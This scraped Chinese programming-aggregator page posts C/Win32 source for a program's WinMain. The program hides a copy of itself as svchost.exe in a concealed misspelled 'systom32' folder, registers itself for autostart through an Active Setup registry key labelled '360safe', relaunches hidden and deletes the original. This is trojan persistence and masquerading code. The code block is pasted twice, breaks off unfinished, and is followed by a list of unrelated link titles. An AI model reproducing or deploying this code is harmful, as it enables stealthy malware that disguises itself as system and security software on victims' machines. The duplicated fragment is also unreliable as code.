WinMain里写入 ActiveRun()
来源:互联网 发布:淘宝店铺导航在线制作 编辑:程序博客网 时间:2024/05/22 18:45
void ActiveRun()//ActiveX自启动的函数
{
char WinPath[MAX_PATH];
GetWindowsDirectory(WinPath,sizeof(WinPath));
strcat(WinPath,"\\systom32\\svchost.exe");
HKEY hKey;
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
RegCloseKey(hKey);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ActiveRun();
int nRetCode = 0;
//Begin=======首次运行,拷贝安装========
char DstFilePath[256];
char SrcFilePath[256];
memset(DstFilePath, 0, 256);
memset(SrcFilePath, 0, 256);
::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
strcat(DstFilePath,"\\systom32\\");
CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
strcat(DstFilePath,"svchost.exe");
GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
if (_stricmp(SrcFilePath,DstFilePath) != 0)
{
DeleteFile(DstFilePath);
if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
return -1;
SetFileAttrib(DstFilePath);//隐藏文件
WinExec(DstFilePath,SW_HIDE);
uninstall();//自删除
ExitProcess(0);
}
{
char WinPath[MAX_PATH];
GetWindowsDirectory(WinPath,sizeof(WinPath));
strcat(WinPath,"\\systom32\\svchost.exe");
HKEY hKey;
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
RegCloseKey(hKey);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ActiveRun();
int nRetCode = 0;
//Begin=======首次运行,拷贝安装========
char DstFilePath[256];
char SrcFilePath[256];
memset(DstFilePath, 0, 256);
memset(SrcFilePath, 0, 256);
::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
strcat(DstFilePath,"\\systom32\\");
CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
strcat(DstFilePath,"svchost.exe");
GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
if (_stricmp(SrcFilePath,DstFilePath) != 0)
{
DeleteFile(DstFilePath);
if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
return -1;
SetFileAttrib(DstFilePath);//隐藏文件
WinExec(DstFilePath,SW_HIDE);
uninstall();//自删除
ExitProcess(0);
}
- WinMain里写入 ActiveRun()
- MSDN里关于WinMain的描述
- 把WinMain封装到dll里
- 把WinMain封装到dll里
- 把WinMain封装在lib里
- WinMain
- winmain
- WinMain
- winmain
- WinMain
- WinMain
- 在cmd 里写入MySQL
- DataSet里的数据写入XML文件
- 异常错误写入windows日记里
- 将GPS信息写入到图片里
- JS 控制向WORD里写入内容
- android将文件写入到手机里
- 解析文件并写入文件里
- 子衿的事(46)
- oracle的索引使用注意
- CSS选择器
- 曼彻斯特编码
- 动态ActionForm
- WinMain里写入 ActiveRun()
- VC include 路径解析
- 虚拟服务器备份负载虚拟化
- delphi PageControl显示窗体
- Android像素转换的研究(二)
- 转给经常熬夜的童鞋们
- 我的程序员生涯
- C# Code Review Checklist
- opencv1.0+VC++6.0配置和设置